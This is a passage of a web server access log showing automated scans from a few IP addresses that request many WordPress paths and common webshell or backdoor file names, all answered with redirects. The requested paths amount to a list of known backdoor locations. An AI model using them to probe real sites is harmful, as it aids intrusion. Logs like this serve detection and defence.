HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:51 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:52 +0300] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:55 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:55 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:58 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:59 +0300] "GET /comments/feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:59 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:02 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:03 +0300] "GET /wp-includes/assets/k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:06 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:06 +0300] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:15:07 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:15:10 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:13 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:13 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:15:16 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:18 +0300] "GET /wp-includes/blocks/query-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:15:19 +0300] "GET /deepseek_d.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:22 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:15:24 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:15:27 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:28 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:15:28 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:31 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:34 +0300] "GET /help.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:37 +0300] "GET /wp-includes/Text/Diff/Engine/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:41 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:15:43 +0300] "GET /wp-includes/blocks/separator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:44 +0300] "GET /assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:15:46 +0300] "GET /wp-includes/blocks/video/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:46 +0300] "GET /wp-content/uploads/wpforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:47 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:47 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:15:50 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:15:53 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:15:56 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:01 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:16:04 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:04 +0300] "GET /.tresh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:07 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:16:07 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:16:08 +0300] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:16:10 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/inter/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:13 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:15 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:15 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:18 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:16:18 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 4.204.200.32 - - [08/Mar/2026:07:29:48 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:51 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:55 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:58 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:03 +0300] "GET /ws29.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:20 +0300] "GET /hb02ugyh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:25 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:16 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:19 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:21 +0300] "GET /xrp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:24 +0300] "GET /mws.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:26 +0300] "GET /card.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:30 +0300] "GET /goh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:33 +0300] "GET /awi.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:36 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:39 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:42 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:44 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:47 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:50 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:52 +0300] "GET /ertg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:54 +0300] "GET /xpass.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:19 +0300] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:44 +0300] "GET /667.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:50 +0300] "GET /wp-gr.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:53 +0300] "GET /note.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:56 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:00 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 193.37.32.183 - - [08/Mar/2026:08:16:51 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:16:54 +0300] "GET /wp-includes/blocks/column/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:16:55 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:16:55 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:16:57 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:16:58 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:01 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:03 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:06 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:17:09 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:12 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:16 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:19 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:19 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:22 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:23 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:26 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:28 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:29 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:29 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:32 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:17:35 +0300] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:39 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:17:39 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:39 +0300] "GET /wp-includes/css/dist/commands/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:40 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:40 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:43 +0300] "GET /wp-includes/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:45 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:45 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:17:48 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:51 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:17:52 +0300] "GET /wp-admin/datate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:55 +0300] "GET /wp-content/themes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:17:58 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:17:58 +0300] "GET /wp-includes/block-supports/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:18:04 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:18:07 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:10 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:18:11 +0300] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:11 +0300] "GET /wp-content/uploads/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:11 +0300] "GET /wp-content/hplfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:18:14 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:18:17 +0300] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:18:18 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:21 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:18:24 +0300] "GET /wp-content/uploads/wcdp-uploads/temp/xxc/stuff/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:18:27 +0300] "GET /wp-content/themes/twentytwentythree/templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:18:28 +0300] "GET /private/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:31 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:34 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:38 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; 